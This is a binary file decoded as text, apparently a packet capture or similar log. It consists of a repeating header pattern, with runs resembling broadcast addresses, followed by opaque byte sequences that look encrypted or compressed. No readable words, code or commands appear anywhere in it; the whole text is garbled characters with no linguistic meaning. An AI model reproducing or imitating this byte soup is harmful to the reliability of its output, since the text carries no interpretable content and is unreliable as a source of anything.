/¥åO¤±Wz;fÎäù"mèÌžþZ·‡_’'†D6FqZVVBÿÿÿÿÿÿ¿2) T¡ Lð€Õ<á]E[úÓ!UøÉ‰%‰L ÂS#å7á'‰Ä°Êôx 9AìW=/H†.N:;A[¦Ÿ¢(Hßá†Uı†D6FrZVVBÿÿÿÿÿÿ¿2) T¡ Lå B؇çþ¼ÝØ›Äs °æÅ<8M¦¥âòãk+YáÚJaáxzöÿËZø~z5lÙÁ»|R•^€âk†D6Fq\VVBÿÿÿÿÿÿ¿2) T¡ L¿ Aù2°´?´•ªpZ¹}¾Ê¬6«x§«ûo‡Bâ—ù<ï>ãj"ÉÒã†t¹9v"Y¯ ·ì!†D6Fr^VVBÿÿÿÿÿÿ¿2) T¡ L t¨àÖKŸ®8ËS'[ŒÙŸnÔ•/n JP xnŲ:½´³›K‰ )N9§Áã Õ@Om )¹®\-g†D6FrbVVBÿÿÿÿÿÿ¿2) T¡ L0÷âwœLtZiäù̹(3" ƒó>1‚ SÙ|ˆ_VŒYAÛ@…{»`5ëÇ&«²¢Wó†D6FrdVVBÿÿÿÿÿÿ¿2) T¡ LP”öw‰¦uðoûåÇqôÇÿnÎaÏk`©ÉfçWµª¹¯ãO©1…¦Çúd‘$€Qœ·IÆ8 1m…Ö¬Xõ~†D6FqfVVBÿÿÿÿÿÿ¿2) T¡ L`·¾Gà€ž6ÙÀTâòa€>ï¨ `+œÁþÉreèóé·3b錅3xªÝP‘~‹ÕrŽçü/»³J©E†D6FqhVVBÿÿÿÿÿÿ¿2) T¡ Lp½Š¾‰©ô¥~X#žAŒß?Ô`ÏX·žgßÈÎõ#ÙšÚi3}ÂjµmsÉ ªdx޳#~Ía6W=†D6FrjVVBÿÿÿÿÿÿ¿2) T¡ L€±Úþ1{,ñ`Z5Œ„›ãðªoil€zL+:ØÔhoýÖQ¸×·ýxÊw@B¾Ãêþ”`v}Cߦq¼†D6FrjVVBÿÿÿÿÿÿ¿2) T¡ L—"RÝ¿¯80ÿ|Ù;c^¿TâÓ¡/kr+póµ®å;û®1a¾+‰9H_ý³tjàÿOQ¹‡¡ÓˆBëù†D6FrlVVBÿÿÿÿÿÿ¿2) T¡ L ˆm%I0µ¼KG“/Ö7ÄÑXA 4(ÌÔ’ ÎoÕi,å iŒó„Â$T‚úY§k(åÄ­²³·dÇùF†D6FrpVVBÿÿÿÿÿÿ¿2) T¡ LÀó¢ s”¤'®è´‘[¢ QTc^ªbÛOT'ÛâœY.®DQ¨ôï’>Mwað“ïŸÒ^ƒêH¥¸4¡†D6FqpVVBÿÿÿÿÿÿ¿2) T¡ LÐ(æÈœ5ë € ýÕv:düC§M2p$MôU•`j³lbÉòc½ö1BÝN½$#§ÆÝzaY†D6FqrVVBÿÿÿÿÿÿ¿2) T¡ Là5â„ü¢XÇf$;ž¨…_‘ŽcÄçƒØ)çc@}ºJ{èQqÔ« S×]¾%G|:Ó‡GážmæìÂ\˜¹Û¦†D6FrtVVBÿÿÿÿÿÿ¿2) T¡ LðÄ|µÙ¾åZEå`qÿ½vrsNG†êO±¾0³¢ + .Žè­ŠŸˆ¯6ý ¤½ÿä^Î|Ì`Òs4]»ö2%Cp{Ãu9¶)릆D6Fr|VVBÿÿÿÿÿÿ¿2) T¡ L0‚Pô‹Éïâ··3/.ÐŽvùD>Ž]ÅO]ìÈðUŽòõ{?ò„šmdÝ-+¦TB° ùÆ›ßÿ„Ý/±†D6Fr~VVBÿÿÿÿÿÿ¿2) T¡ L@‚^RígÉã Ü!›ü èˆ#hÃzT† ½jA­²‘lŒì‡m‚~þOPÍÓ4Ã|+îZí¬,?C†D6Fq€VVBÿÿÿÿÿÿ¿2) T¡ LP‚‚RJ½‘ø±¦5T Ä £ÄΟ»d{TŸë”ø¸=Á`bó«!˜vÀ%æÉÅO«¼ìN\(q,³ë³;"†D6Fq‚VVBÿÿÿÿÿÿ¿2) T¡ L`‚p„Z¤?Õù[} ÌLf¯%´8Þ…†^‘œ 8‚cŽÃéx,z&ü‚OŸ×3¤ŽtzK”¹Ò«T±‰9†D6Fs„ Ô T¡ L†D6Fq†VVBÿÿÿÿÿÿ¿2) T¡ Lp‚òVŒ³æ±c±pÖþû ">¸DºÊhÞú^vô$¦ðÁ¤gª¾#ÛŒ,t1µ‘¹J/û´Ì‹i¢†D6FrˆVVBÿÿÿÿÿÿ¿2) T¡ L€‚µV¯ý5áðtFÆ õ(rá[åÍv.©)î-¹°¹‡)óŽWÏØL8\ȉtàúZ0&NTϼK†D6FqŠVVBÿÿÿÿÿÿ¿2) T¡ L‚ÿZ·¦µ_e­½ûÔ_˜ÿCÈÌm\;&qËÕÌ' ˜™ßyë–<ú—OîýˆÝÖðeh™•‚|ªÏdyŒ®†D6FrŠVVBÿÿÿÿÿÿ¿2) T¡ L ‚LÄKV!Üq¼¿“E6¸9ŒæëuÿâÇ-j.÷ ĉ¶’ä~¥ás|ÍaäÌÎBs~‡¨å;ìùä$å]¹_vî†D6FrŒVVBÿÿÿÿÿÿ¿2) T¡ L°‚uŠ%òÿ‡g£øø³ MÊŒƒÿÈá…Á†5Ð?÷æ( ¢O\/8žN£xoW›(¯Xl ÄøŽކD6FqŽVVBÿÿÿÿÿÿ¿2) T¡ LÀ‚+¢²k7Ýx¿ï)+&®{í ÷¸Uàw—¹gif‹;÷¤ò$§†£tÆ9ãGe’&fÑOËTDs3ÓúpކD6Fr Ô T¡ L†D6Fr’VVBÿÿÿÿÿÿ¿2) T¡ LЂ@`Þ¼„Ô™æ›|·¢±$0à *d9Y¨1³ßèM‡¬èûøªëÒcE–˜ºòO²c[^­'ÐD› µ´†D6Fr”VVBÿÿÿÿÿÿ¿2) T¡ Là‚²ºOI¤³CŒXà!dúø2FÖœÑ[+ÒŠlؤšÇ÷:ÛŽ;lî$ æ= iC]ÊÛŒò¿l¾=©ŸJ*†D6Fq–VVBÿÿÿÿÿÿ¿2) T¡ Lð‚ÅBtŒO7<´ C Òuã¶ÿà­(ƒ1[þ>ûÇrNgO³ åsBö 8¡@Ú†g™à¼txð†9¼†D6Fr˜VVBÿÿÿÿÿÿ¿2) T¡ LƒQ–ñ& wÝ,(„:Ú4qv2²¹tͲ¤T±ÙLÅTíl™ ¾3ƃ¹fÞ¹áDˆö=Ê*/Ë䵋ö¯E¡ tf†D6Fs˜VVBÿÿÿÿÿÿ¿2) T¡ Lƒ,H€«ÕúE"šþC¿Á•ý«*¢g|"Ï¥—ïÇGׯçÈðÌŽ¥èq÷ãm²°ŸÝVçÓòO<‰Ûk†D6Frœ Ô T¡ L†D6FqžVVBÿÿÿÿÿÿ¿2) T¡ L ƒ¶0ìF›¯A~}󢕨ž]#ýzá\FÕ/ÍåüHëÁ•¶½ ŸZ¹Dýg"ŠÏôü¬]‰†D6FržVVBÿÿÿÿÿÿ¿2) T¡ L0ƒ.&'ž§Æcâþ)P×#?´D¥×=̨8ðTïļëAc…×uëü*²w>P‰b㑬Œ¢/ ÎàM?™†D6Fr VVBÿÿÿÿÿÿ¿2) T¡ L@ƒp/¦/ $©’}E6PÖÁƒVÞ2oHÂzôy4Z3+È%f‘•?%ÙﺣÿË#b þ¸äç`_ÉÀ†D6Fp¦ Ô T¡ L†D6Fq¨VVBÿÿÿÿÿÿ¿2) T¡ LPƒ‡4̲QõÆ‹³lð@KÑ)^ß èƒ‡ƒOÉ}¿Oåî~ ƒ#…ߘøèæ•ëæZ‚)´bŠjnoW%ÌM™èHu¹òÌÐ$#î¯È+¹öäαDÚeü z¡ $ˆ†D6FqÈ Ô T¡ L†D6FrÊVVBÿÿÿÿÿÿ¿2) T¡ L€ƒê¶±Ô.‰seöÃæ‰¾‚‘>K.HN+¹uºÅ§¤¤‘£ÖŧÝe% î—‚˜yèûãðÁW`` ã†D6FpÔ Ô T¡ L†D6FrÖVVBÿÿÿÿÿÿ¿2) T¡ Lƒ»0éï´{«ùW99x0¦üB¿7“)÷(g:i·¯HYŪd+7'⌹ˆƒ§Á áe–úây†D6Fqà Ô T¡ L†D6FrâVVBÿÿÿÿÿÿ¿2) T¡ L ƒÍNêµæ)ö~[îqÏ~€º„1OPQ7™é93B®€åzDS¹.ç Ô—13›f›Ni¦“?u{ˆ®'†D6Foì Ô T¡ L†D6FrìVVBÿÿÿÿÿÿ¿2) T¡ L°ƒ¨À£ÂRÉüØ¥Ró¿Ï'6ƒâ6ßRËZ©U[ʽw4žŸ¸¤ëcŠó)âî¯w Ck”çcBÛ·†D6Fpö Ô T¡ L†D6FqøVVBÿÿÿÿÿÿ¿2) T¡ LÀƒ5Êú©'ëõ¨ ÌÞàã£pNê ˆÂü1vñ9å´ú×Ë´¬wBýÆ“K^…óbÃiéZÔ€]w†D6Fp Ô T¡ L†D6Fr VVBÿÿÿÿÿÿ¿2) T¡ LЃxK ©Û7 s:‚ ôyg‹…}Gÿ¯íÑé覂ÐÚÿ'ø6ÇN|¿ó,bG‚©½#mÛz†D6Fp Ô T¡ L†D6Fr VVBÿÿÿÿÿÿ¿2) T¡ LàƒžtÂ7ëɉÿ©ZÁêÛ› j'º¾ò »µÇZž`­z†׆HÉæ± ¿ù6 V4çOØÚz™·}†D6Fp Ô T¡ L†D6Fq VVBÿÿÿÿÿÿ¿2) T¡ LðƒžFýïݾïFMá6$J‚qUy–‘~Ê%ßñau3}æ7u±b+<Ë—_ã …hüdƒ;7ÂøåËTï†D6Fp$ Ô T¡ L†D6Fq& VVBÿÿÿÿÿÿ¿2) T¡ L„×®pTX‘Õ7RµŠÏGlk)Û/ã°èΉdiQÜ:)]sPäj‡6J„¾µîÖøA÷é862bwô…”À†D6Fq0 Ô T¡ L†D6Fq2 VVBÿÿÿÿÿÿ¿2) T¡ L„ÈX’ìòsÖaÀ¹÷Slèé#´Ñ¨ËãÈ€(Hè û'ôñŒxê±v+ôÌŽ´Bî8„Jw†D6Fq< Ô T¡ L†D6Fr< VVBÿÿÿÿÿÿ¿2) T¡ L „æ)¼N Dü—˺þdäÞ§LhåeŠÍ|Ɖ‘p$ÅÓ5I RåÚ¥ì1·lz…;=!CIs|†D6FqH Ô T¡ L†D6FqL VVBÿÿÿÿÿÿ¿2) T¡ L@„„lQ3º&JĪø£œááŸî±)ôÈ~J9z†Œ8™lUqlzíå& Ìµå*¦=>°$fA$Þ6zІD6FqR Ô T¡ L†D6FrT VVBÿÿÿÿÿÿ¿2) T¡ LP„ŠÔôÂG|Z-ÖPö³…½ê žÏDŽL(G?ægiž5‚Ôv©²ð|‡Ç`¶ÊrÉðÉZ$§)¸:õ´é†D6Fp^ Ô T¡ L†D6Fr` VVBÿÿÿÿÿÿ¿2) T¡ L`„_ˆêu¯÷<…a© x±ª°ÍÉ®K ¤äƒhè-ýÁ)„X(ìap2‚œ{‘ÄuDÞB˜¸Ñ£2árLøÐþ†D6Fqh Ô T¡ L†D6Fqj VVBÿÿÿÿÿÿ¿2) T¡ Lp„åJRüHøEÐÆJ,߇½­s¾â´ý!%`»ÁIL°”\‘‡?ŽÝB7Eù@ûHë¹z†f½Ó ȆD6Fpt Ô T¡ L†D6Fqv VVBÿÿÿÿÿÿ¿2) T¡ L€„™â†Žp"SœNù£ ¨EßÌÓŽÜ ;i—ŽÏÌyi[òu³ô1OdsWƒk[ôÿ:9ÅYo¹!p†D6Fp€ Ô T¡ L†D6Fr‚ VVBÿÿÿÿÿÿ¿2) T¡ L„t FP½1çÀÔþŠrñe%i*›—œ÷PÚÍ!ößÝð¿° tžad÷õØàÔ-åO0{jû’:¾ÈІD6FpŒ Ô T¡ L†D6FrŒ VVBÿÿÿÿÿÿ¿2) T¡ L „bzЪ‘3דh%‘—§ý„(™‡dpBV{ââ*î‹Àä+IâBÍœün’,%&†x`jITß.˜^†D6Fp– Ô T¡ L†D6Fq˜ VVBÿÿÿÿÿÿ¿2) T¡ L°„{%Ð,ÆçMáѳêW§ÔQGÉ`&ÃÌ®ãýëœéà7b¿·”Þ˜BŠûÿ[KëÛÙjRNbËîªb†D6Fp¢ Ô T¡ L†D6Fq¤ VVBÿÿÿÿÿÿ¿2) T¡ LÀ„24|»‘!É€¿¨ŠÎ~M˜ÎÊå^‡Â™xn“)§·wï'¸ »ø/¯•,Óˆq¬\zGx)?ý Éá†D6Fq® Ô T¡ L†D6Fr° VVBÿÿÿÿÿÿ¿2) T¡ LÐ„Æ Äö—8ºd¾Fªþý³²q–ì ÚæüË·6¸_‘Í©É$äC?û1†Í>² ûhÄe~Y0ÕïR/âjÙ:÷‚亚Ôf¼¬&=îä<›ñ »2æ}†D6Fpò Ô T¡ L†D6Fqô VVBÿÿÿÿÿÿ¿2) T¡ L0…÷†Ü`~ª_|¼²Qã˜'±¯ã qÄðÐuó±]¨Ý(rhheU¯ûÃÿvíÇ’û{íß_eA’v†D6Fpþ Ô T¡ L†D6Fq VVBÿÿÿÿÿÿ¿2) T¡ L@…Øð'‹"€ …ô?zIž +~OÆÐ‘ƒ¤¾Ãr[k~ô6Ô3b·øðNµ]$néÞHÑgçD$”•†D6Fq Ô T¡ L†D6Fr VVBÿÿÿÿÿÿ¿2) T¡ LP… ‹½ãFd‰dkaí÷s”©æÿs—oe™^5J)/Þ†£iF•ÚìÅ«œòr4—ùû…rû• {†D6Fq Ô T¡ L†D6Fr VVBÿÿÿÿÿÿ¿2) T¡ L`…£Ü¿Ü7MþÓsêOëp)ÑíK Q5Á'd‰®éØj}ʬUášåc,ÔzCLhiCœEþ×e£uM¾/†D6Fp Ô T¡ L†D6Fq" VVBÿÿÿÿÿÿ¿2) T¡ Lp… Þ—©ö‡ñ 7zÿ¶Z=½‚ß±Howõ§Ã1œdf—Īý]2|Ao«ƒ'|~˜NѬVŠà}¢[݆D6Fp, Ô T¡ L†D6Fq. VVBÿÿÿÿÿÿ¿2) T¡ L€… ì2"¦Å\ð%ƒÚ|ùô¿pæ&_Õ²„Ìiˆ§ ¸w“¸Û} ……œÀM äÉpû6'~ ån†D6Fo6 Ô T¡ L†D6Fq8 VVBÿÿÿÿÿÿ¿2) T¡ L…–òhRB" Mæ»_Õï#€BL̵ €ÚOX—„y·Ä—þlx?®a‡J#×°–×)ÂWžkny†D6FpB Ô T¡ L†D6FqD VVBÿÿÿÿÿÿ¿2) T¡ L …Î2–)·¼Ú»Ì2vZ¡ªâöš°c'âi¥™mý H¶]Üü<°ÔEò{…‰óh?·u¯žµ‚0H†D6FpN Ô T¡ L†D6FqP VVBÿÿÿÿÿÿ¿2) T¡ L°…ö¥°‚N.Þé¬n}ѣ˶8ábDŠáy—•³·7ÈËÙ;?x/$Ù¥%ŽFÕ×]˜LXÄ5úGCYå<5F†D6FpZ Ô T¡ L†D6FqZ VVBÿÿÿÿÿÿ¿2) T¡ LÀ…~úwƒÆlø.ÌÍÖ@hÂM¤No³H/^ Æ65•Ñçzñƒ°7Ú °›>š‘¸qû‚ص†D6Fpd Ô T¡ L†D6Fqf VVBÿÿÿÿÿÿ¿2) T¡ LÐ…u@`ÿªõ®ßÜ› 8rdI¾œ`€|³¸àGöò[dûû9ëT`wuâ%\‰(¦Ó/nô†‰ o†D6Fpp Ô T¡ L†D6Fqr VVBÿÿÿÿÿÿ¿2) T¡ Là…‹ñxòEA—ê|†D6Fo| Ô T¡ L†D6Fr~ VVBÿÿÿÿÿÿ¿2) T¡ Lð…i”Ù1“`ïâñOsmðkd½óЦØbPPÔ=,}÷•HÍ¿ p¾2gz2'…غZ_#°ª†D6Fpˆ Ô T¡ L†D6Frˆ VVBÿÿÿÿÿÿ¿2) T¡ L†eŒF@æˆkààæÚû!ªšTðš9B,ÊæG %…S®|×÷Æ{ÜÆæ®ÀÁƒ ,Ô»¹µ„uƒ†D6Fp’ Ô T¡ L†D6Fq” VVBÿÿÿÿÿÿ¿2) T¡ L†Ú¦Ä¦±Æd›/䨿 óNvõš>åi2³wë­rÕšìd¾è†O!×›­Öþìù-£(ZÉöëO€~þ†D6Fpž Ô T¡ L†D6Fr  VVBÿÿÿÿÿÿ¿2) T¡ L †0|éÑuøÖ¨%ºƒœ¿þº:Ü®nöC§Ï«–•>äÇü8NJ9•ÒT…¨cj1+„ÙFÞïÍïÞ½ô ʆD6Fpª Ô T¡ L†D6Fq¬ VVBÿÿÿÿÿÿ¿2) T¡ L0†S¶®88äëxux­¼À”:”ûpƒ±¥š ‰Ü>§ÍnÊžpk‚AP§L" ‰q»»ƒ²ÖHpù߸ {†D6Fp´ Ô T¡ L†D6Fq¶ VVBÿÿÿÿÿÿ¿2) T¡ L@†Y,ì„ògYv–QW‚Ãþî=?U…t&ŸJÛ‹ü$V£öÕrOý’ƒ¡â¸ ƒ-®‘y¯»,«cãkÙ.ˆµ(†D6FpÀ Ô T¡ L†D6Fq VVBÿÿÿÿÿÿ¿2) T¡ LP†]v¶³@;¤´2òÊ«5’£ž\LüoÂ"g--ÙAm Sì)GšgÓšÁœ_ÅjF »r“vÒ¾znK&8ýІD6FqÌ Ô T¡ L†D6FrÎ VVBÿÿÿÿÿÿ¿2) T¡ L`†øž\êsÒÉ"»wì¦yVçj<¼D ޾,Ÿ.usUq¾ï•° ñ,ï.gzÓKÍÀ.i€¶5<¸7»†D6FpÚ Ô T¡ L†D6FqÚ VVBÿÿÿÿÿÿ¿2) T¡ L€†Œ2Æ ˆE"¯kµ»¡Byu -áæ8&Üq ™‹ÖI*Õ ò~8Ò´7çân#Ç.UKDZa™¦Âî²cAým°†D6Fpâ Ô T¡ L†D6Fqä VVBÿÿÿÿÿÿ¿2) T¡ L†Ç(ß9 =³²ÙÓ$ò!}K2ìàm©®œ^Ä»Zº¼"V„Å}|[м;„+4Ðñ,ÀÏ×m¶Ó–†D6Foî Ô T¡ L†D6Frð VVBÿÿÿÿÿÿ¿2) T¡ L †Ed½tªkˆãÀŠðÈ,%¢eÝ6Ó%C”Ä­iIä‹@ ó×~üyqLX "ŽH¿Kûn,P½)I°†D6Fpú Ô T¡ L†D6Fqü VVBÿÿÿÿÿÿ¿2) T¡ L°†Vl"¦Æw²t ¾HÌâ#;%®„iøfÔ%=.5ægÊEo7^1×dÏj&„ÓDLä»XKy >)ODêÔ‚6†D6Fp Ô T¡ L†D6Fq VVBÿÿÿÿÿÿ¿2) T¡ LÀ†2| &-ÒJ^ú.h …ÁErQ&Z%5 d² ÷œn,â–\Éç(BÏ$QŒp|µ´Üõ><ðNg1(á‡í†D6Fp Ô T¡ L†D6Fq VVBÿÿÿÿÿÿ¿2) T¡ LІ'2á¼g’ÉôrQù¨ŽìÙvÂ9É ª1]¾’9[þWâ×’.:Âaè¸oÚé+G…,u¹3@3ØaQ ×Sã†D6Fp Ô T¡ L†D6Fq VVBÿÿÿÿÿÿ¿2) T¡ Là†?ä‰ÖÒ³ #!m²X><87ŸN ådxˆUy¯Íꕪ ½”®úPT¦N\Ã1;ýwÀA`7…:ìx†D6Fq( Ô T¡ L†D6Fq( VVBÿÿÿÿÿÿ¿2) T¡ Lð††Õ%°í ªu@O¬Q#yB}mT5~ÒamåÙJ¾×(jÇØ­21\Ù(4’ygû½ÙmYdŠ!ÄiцD6Fp2 Ô T¡ L†D6Fr4 VVBÿÿÿÿÿÿ¿2) T¡ L‡æâ¨ ¥ç°Ñaƒ½Çh’r"+ÛwÝôcÌÑ/Âö†·VõÊÈmò»;kÔ)Û†–ê*g'©ç³ …²Á†D6Fp> Ô T¡ L†D6Fq@ VVBÿÿÿÿÿÿ¿2) T¡ L‡µ‚-ïQp‰t? c8QUé)ˆérœßŸZÌŒëF¢c.OÄÏ( ™ôh ul`*]ûËiÍ/}Òìxå1†D6FoJ Ô T¡ L†D6FqL VVBÿÿÿÿÿÿ¿2) T¡ L ‡4†þÔ;c%†Õ‚?ê¿çëxú2Êúl™·È pZÑ”âIhoúè» Ù³1Ïâ“ 9ߨbt9†D6Fqx Ô T¡ L†D6Fqz VVBÿÿÿÿÿÿ¿2) T¡ L`‡fv¹p7¤ü‚ï᮫?Û_8'£¯sÙ;ó–ÚÛ£T¶þz-Ua8ô¥VÎÓÏÎs‡!F¦ïk_‹Ö†D6Fp° Ô T¡ L†D6Fq² VVBÿÿÿÿÿÿ¿2) T¡ L°‡UÐ%íC)¯JÌNëî=Ü"ø¤<¦Ĉ_¬Ø2™B±¥!„! ­€-M}<ºORµ’œ¬p½€ÿ†D6Fp¼ Ô T¡ L†D6Fq¾ VVBÿÿÿÿÿÿ¿2) T¡ LÀ‡¨±BÝݾ1ˆ§keÏM¬Þì7e!ì*ª·Ã¼ú}àẠ¸y<‘öŽ4„DÑÈÁÅËÁ@áýïø†D6FoÈ Ô T¡ L†D6FrÊ VVBÿÿÿÿÿÿ¿2) T¡ LЇ— ûóQèÝJÏ‚‡ ¢Ñp÷x\KúÏMzCËliˆëE=À©)ãÞ¿®úJ‚»`ÆÊ¨6tê[ßÌA@¿Øê†D6FpÒ Ô T¡ L†D6FpÔ VVBÿÿÿÿÿÿ¿2) T¡ Là‡g,z½Ëƒ—¦(×±{ds,IBVTX”·Ot z@ù‰~ DSža„DˆÐ!ŒÐ„Ëó„‘Êþåp÷†D6FpÞ Ô T¡ L†D6Frà VVBÿÿÿÿÿÿ¿2) T¡ Lð‡~ÓÌÊ^ÌEX2s+û廿Ø-o:Äá éxSj31GÞ$0*¢nyº1?·G’QÙÕ†D6Fpê Ô T¡ L†D6Fqì VVBÿÿÿÿÿÿ¿2) T¡ Lˆ˜&Mãe´·áLG$µ[t¿ )üÌüìwŒ+lº¥$Ž@üÒf©Ç FH‹Âë’€Ÿ[¶„|ƒZŽ´yLŽ——Õ‰†D6Fpö Ô T¡ L†D6Frø VVBÿÿÿÿÿÿ¿2) T¡ LˆŒXeX€‚a w±³ ø|}9S¯ò×^­C%j’‰3]|‰Q:úÀ“ø¤%\ ŠŽ±Ò$ã'Z(dk †D6Fp Ô T¡ L†D6Fq VVBÿÿÿÿÿÿ¿2) T¡ L ˆ+†ìO5\çI÷h¦¸z•‹L ßbšé$D­ßÜv „¨Æ]ŒYFZcÎ%}}iØXõö|rßdžD6Fp Ô T¡ L†D6Fq VVBÿÿÿÿÿÿ¿2) T¡ L0ˆ&hО*ŽÙnŒ‡Å X;‡½y¹–Û¦5FyðØ:Ù—šìA:¸;dE)£223¸¾h0S{€À¸éi†D6Fo Ô T¡ L†D6Fr VVBÿÿÿÿÿÿ¿2) T¡ L@ˆÂÕ7âJœYyì%?3…2 =«ÍP çf0I¸©-¸ó"Úm°rìÒG" éEë¡óâ XCçšv†D6Fp$ Ô T¡ L†D6Fq$ VVBÿÿÿÿÿÿ¿2) T¡ LPˆ¼rÞŽÛW´HÑ«ËÛ·B:"( ›ê&ŽLû„ÇFë†4x†€?úXS²÷’>ŠÊT ¸{¥˜‹ =Žu†D6Fp. Ô T¡ L†D6Fq0 VVBÿÿÿÿÿÿ¿2) T¡ L`ˆ}ÚÄ„`šÁŸö“_pù_\3¡;ÌÔîŇÔ\^je̼PÈb<âJPY.¦¤fÔ¾A2nð|;†D6Fo: Ô T¡ L†D6Fr< VVBÿÿÿÿÿÿ¿2) T¡ Lpˆ|"KøŠöõƒ2Z0Y{ÁÊ}Z®’ÚÆYŽ6V …’Ùª±“ªB¸ù™E€ o„ï?Ë…õ…ØÓÛfŒ%å≆D6FpF Ô T¡ L†D6FqH VVBÿÿÿÿÿÿ¿2) T¡ L€ˆ¶ÁcªJNR»ÑRŽM*ª˜§/¼dMYy‘›º+Æûô8ôP±ZVÒ®¢ Úµ R%XCñ}*h‹‚èCb†D6FpP Ô T¡ L†D6FrT VVBÿÿÿÿÿÿ¿2) T¡ Lˆ´U²ºAyŸ°^’#±/¬ð߉[ó$ŒîŒ(¬TzщbÛ?—RÐíŒT+ñÁh¯s”êç¨ÝÈ…éh†D6Fp\ Ô T¡ L†D6Fr^ VVBÿÿÿÿÿÿ¿2) T¡ L ˆÚú[¬¯YÕF«—_fð¬Ø”Lez€ÿb˜á“äGorŽ€Õ»;âÎÌj61 úm¯T™ûë­¨b†D6Fph Ô T¡ L†D6Fqj VVBÿÿÿÿÿÿ¿2) T¡ LÀˆë¬£—OÍCE–aS?wëx‘Ÿù¢Å¼Bœ^q©‹Õ²±¨}£òŽ^§=`­ºCðìÅÐ_LŒZP×î†D6Fpt Ô T¡ L†D6Fqt VVBÿÿÿÿÿÿ¿2) T¡ LЈ'$Ê¥ŠZ[f Ý"QTyñFÊN%Ôz€®Z©>áè€N;Mãˆ7hî«1‘.U©{·ê)kú3Ú°b}†D6Fp~ Ô T¡ L†D6Fr€ VVBÿÿÿÿÿÿ¿2) T¡ Làˆë*HH\îøK/žÉ±“¾Èoªa„EeªÛKûìãýÉ?†·¤h´Hw¼Gÿž’ÒÒåƒÍ­ØÍ¨©"†D6FoŠ Ô T¡ L†D6FqŒ VVBÿÿÿÿÿÿ¿2) T¡ LðˆüL"êßãµ\ds{×ï*üîy)4èþc;÷ r[¢Â_گ鼃º×zNXâ®Âº• äCh†D6Fq– Ô T¡ L†D6Fq˜ VVBÿÿÿÿÿÿ¿2) T¡ L‰y~(íy¿Ê2],qøüøÕ»ô±éi°@™/}8Ê8Gm„ãÕ9£l³ÓrüwPsñoŽ¢I€˜ô›:¬†D6Fp  Ô T¡ L†D6Fq¢ VVBÿÿÿÿÿÿ¿2) T¡ L‰?ªyÄ1Å#‹¥»×“>CQ'÷õ£Øs}gzuœ-òl=3`ù­ér‡2Ââ‰u? ³Ä) ?í[†D6Fp¬ Ô T¡ L†D6Fr® VVBÿÿÿÿÿÿ¿2) T¡ L ‰±œ6søæ@[ßÑ'Ó:è5=²[l’,0˜E‰•*ðýÛo¸í¼÷ÛwW:ìnúïoÉûĦ~ötn¦†D6Fp¸ Ô T¡ L†D6Fqº VVBÿÿÿÿÿÿ¿2) T¡ L0‰±¸û´÷¿'•B¯Å g°¬“ú/Ò>ÈŽÈï|“çˆ7ð…¹à …Ìw?Sî‘!²ÄH&Ž"§Æ†D6FpÄ Ô T¡ L†D6FrÄ VVBÿÿÿÿÿÿ¿2) T¡ L@‰Îrl™s€Bη%ŸìN`é/ù·îQÒ»z,‡+ r&æyæm÷L^ éàg0ZÕpÆ¡›ÍóåSìf”mJ}†D6FpÎ Ô T¡ L†D6FqÐ VVBÿÿÿÿÿÿ¿2) T¡ LP‰Ï`hEKÜ¥ñ¤¦—…0ÉÑ®åæ¯¹¼Z´!™ÞªQQˆ)hwS–½ÇQ]›ÃC2ø †³GyTÜ[qUä†D6FpÚ Ô T¡ L†D6FqÜ VVBÿÿÿÿÿÿ¿2) T¡ L`‰ÎBÏ‚±0k•@bðgn¾hÅTS>JïQƒÖ”E¼ëŽ ½:b•ä>‘Wú76Š)U^±:(ãÂØÀ,Š'†D6Fpæ Ô T¡ L†D6Fqè VVBÿÿÿÿÿÿ¿2) T¡ Lp‰`ÿ^Àgggëm+¾5Øa;Ýt°,MÙÔ¬©à/¬€.Äõe*PfãÚ>yÚÖãp‹}eÁ.ý™oD†D6Fpò Ô T¡ L†D6Fqò VVBÿÿÿÿÿÿ¿2) T¡ L€‰çÔ³·Gó’ í°Šù$€Y†Üs“@_Á0ƒ+H«ÈîWZЬ&(wÔ"Ž‚P† o‰Urø­®l{Œ†D6Fpü Ô T¡ L†D6Frþ VVBÿÿÿÿÿÿ¿2) T¡ L‰î~ÖLÔ Ã}ú/»=úM4ÎJjéØÌˆÅm]o6¬Ókv5o2F3Ô<ô³BNÛ1a­·_,½¤zÉÛÉ™†D6Fp Ô T¡ L†D6Fq VVBÿÿÿÿÿÿ¿2) T¡ L ‰0–Qgb1ˆÀùVý²¥>ÿíì5v’ÍN†¾œá E޲ÔU“†þf­º&’´çÁQÍ@$ܪug†D6Fq Ô T¡ L†D6Fr VVBÿÿÿÿÿÿ¿2) T¡ L°‰z¤W‡Mt*O_66UæÆ–Zi]¿8;c2›#´.]ýL8 vwÄÈÉu­¦Ç¨î±.$èfñÀÁÇÛ6†D6Fo Ô T¡ L†D6Fq VVBÿÿÿÿÿÿ¿2) T¡ LÀ‰ÄÀìó‹ÈɸÈÉ?× %Ÿ R\q4ƒènr‘7X®Ç†géÇ/ΰµüaí4ù‹²[תþÐæŒÝ=°†D6Fp* Ô T¡ L†D6Fq, VVBÿÿÿÿÿÿ¿2) T¡ LЉLf_Ù˜íM¦×Udò!\Ú(À‰¼|›ê™÷±:&‚9YÏSÁ_,5p9GáfaúðŸÑsö‚YÒdžŸ†D6Fq6 Ô T¡ L†D6Fr8 VVBÿÿÿÿÿÿ¿2) T¡ Là‰~n‘ M{ò“:ó«È£²@Øšõþ«–¼üÙY£¡Ý|ynÆ ÇOí}ÿªìÄvì¡’áGýW6rHþLu9't†©ê;-µ¸O!D ,•ø±ÓöaQœ‰=&"[1†D6FpX Ô T¡ L†D6FqZ VVBÿÿÿÿÿÿ¿2) T¡ LŠLXðoÇv4î哘œ:æLØ]P°º0âà0ÓM԰Ο’œ Ós&G 1c¡zIy;xÓ<7{EïDýH‰†D6Fpd Ô T¡ L†D6Frf VVBÿÿÿÿÿÿ¿2) T¡ L ŠÜ"ÅÒèL-¤m)‘è2֧òš Ýqä#]#²¡ :D6Å#J?Uì±’”ó˜ÌúÓÀh )¢(„y%†D6Fpn Ô T¡ L†D6Frp VVBÿÿÿÿÿÿ¿2) T¡ L0ŠKà-œ<'ô‚%äJÁÂàçz½ktk+|Â×Ýp+™_ç49gÌŠ÷é£p&µVЊDVÜV~‡©½/†D6Fqz Ô T¡ L†D6Fr| VVBÿÿÿÿÿÿ¿2) T¡ L@ŠÈáè¼"ó<Ä£­lÁúbLÊEÜCÓt«‘Õ¤¸Nð-ÑiîÝwÙÞcëQ õ´ ÷Û”,ÒÁc€ %üm†D6Fp† Ô T¡ L†D6Frˆ VVBÿÿÿÿÿÿ¿2) T¡ LPŠCk›˜­ 